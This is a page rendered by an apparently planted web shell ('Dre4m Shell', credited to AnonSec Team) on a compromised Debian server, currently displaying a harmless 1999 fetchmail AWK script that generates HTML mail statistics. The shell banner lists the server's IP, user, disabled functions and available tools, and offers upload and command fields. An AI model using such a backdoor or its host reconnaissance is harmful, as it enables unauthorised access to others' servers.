Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.118.144.239
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/3/root/proc/self/root/usr/share/doc/fetchmail/contrib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/3/root/proc/self/root/usr/share/doc/fetchmail/contrib/gotmail.html.awk
#-----------------------------------------------------------------------------
#
#                           Gotmail - gotmail.awk
#
#             1999 by Thomas Nesges <ThomasNesges@TNT-Computer.de>
#
#-----------------------------------------------------------------------------

#-----------------------------------------------------------------------------
# This script is part of GotMail.  It emits html to a specified File
# The AWK-Library htmllib has to be properly installed.
#-----------------------------------------------------------------------------

#-----------------------------------------------------------------------------
function init_environ()
{
	TextColor = ENVIRON["GOTM_TXCOL"]
	BackColor = ENVIRON["GOTM_BGCOL"] 
	MsgColor  = ENVIRON["GOTM_MSGCOL"]
	ErrColor  = ENVIRON["GOTM_ERRCOL"]
	TimColor  = ENVIRON["GOTM_TIMCOL"]
	OutFile   = ENVIRON["GOTM_HTMLFILE"]
	PrintMsg  = toupper(ENVIRON["GOTM_MSG"])
	PrintErr  = toupper(ENVIRON["GOTM_ERR"])
	PrintTim  = toupper(ENVIRON["GOTM_TIM"])
	PrintHed  = toupper(ENVIRON["GOTM_HED"])
	
}
#-----------------------------------------------------------------------------

#-----------------------------------------------------------------------------
{
  init_environ()
  if($2!="reading")
  {
	if($3=="messages")
	{
		Mails = Mails TableRow("start", MsgColor)	
		Mails = Mails TableItem($5) TableItem($7)
		Mails = Mails TableItem(Align($2,0)) 
		Mails = Mails TableRow("stop")
	}
	else if($3=="fetchmail")
	{
		Times = Times TableRow("start", TimColor)
		Times = Times TableItem($0)
		Times = Times TableRow("stop")
	}
	else
	{
		Errors = Errors TableRow("start", ErrColor)	
		Errors = Errors TableItem($0)
		Errors = Errors TableRow("stop")	
	}
  }
}
#-----------------------------------------------------------------------------
END	{
	Stats = StartPage(Title("Gotmail Stats") Body(BackColor, TextColor))
	if(PrintHed == "YES")
	{
		Stats = Stats Align(Headline("Gotmail Stats",1),0) 
		Stats = Stats Divider Newline
	}
	if(PrintMsg == "YES")
	{
		Stats = Stats TableStart(1)
		Stats = Stats TableRow("start", MsgColor)
		Stats = Stats TableItem(Bold("Account"))
		Stats = Stats TableItem(Bold("Server"))
		Stats = Stats TableItem(Bold("Mails fetched"))
		Stats = Stats TableRow("stop")
		Stats = Stats Mails TableEnd Newline Divider Newline
	}

	if(PrintErr == "YES")
	{
		Stats = Stats TableStart(1) 
		Stats = Stats TableRow("start", ErrColor)
		Stats = Stats TableItem(Bold("Error Messages"))
		Stats = Stats TableRow("stop")
		Stats = Stats Errors TableEnd Newline Divider 
	}

	if(PrintTim == "YES")
	{
		Stats = Stats TableStart(1)
		Stats = Stats TableRow("start", TimColor)
		Stats = Stats TableItem(Bold("Start/Stop Times"))
		Stats = Stats TableRow("stop")
		Stats = Stats Times TableEnd Newline Divider
	}

	Stats = Stats Center("start") "GotMail - 1999 by Thomas Nesges " 
	Stats = Stats "<ThomasNesges@TNT-Computer.de>" Center("stop") EndPage

	print Stats > OutFile
	}
#-----------------------------------------------------------------------------

Anon7 - 2022
AnonSec Team